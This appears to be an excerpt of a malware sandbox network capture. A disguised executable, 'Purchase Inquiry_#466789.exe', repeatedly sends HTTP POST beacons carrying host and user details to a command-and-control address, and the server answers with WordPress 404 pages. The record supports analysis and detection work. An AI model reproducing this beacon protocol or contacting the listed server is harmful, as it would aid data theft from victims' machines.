May 27, 2024 08:32:43.330244064 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:43.330296040 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:43.330379009 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:43.330410957 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:43.330445051 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:43.330475092 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:43.330521107 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:43.330554008 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49759	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:43.490499020 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:43.495484114 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:45.589375973 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:44 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:45.589411020 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:45.589467049 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:45.589519024 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:45.589553118 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:45.589586973 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:45.589622974 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:45.589658022 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:45.589690924 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:45.589726925 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:45.756036043 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:45.761205912 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:47.884399891 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:46 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:47.884454012 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:47.884505033 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:47.884536028 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:47.884567976 CEST	1236	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:47.884618044 CEST	1236	IN	Data Raw: 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 Data Ascii: nge-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-w
May 27, 2024 08:32:47.884650946 CEST	1236	IN	Data Raw: 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 Data Ascii: -preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--p
May 27, 2024 08:32:47.884680033 CEST	108	IN	Data Raw: 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f Data Ascii: white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-
May 27, 2024 08:32:47.884712934 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:32:47.884747028 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49761	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:48.035851002 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:48.040802002 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:50.171703100 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:48 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
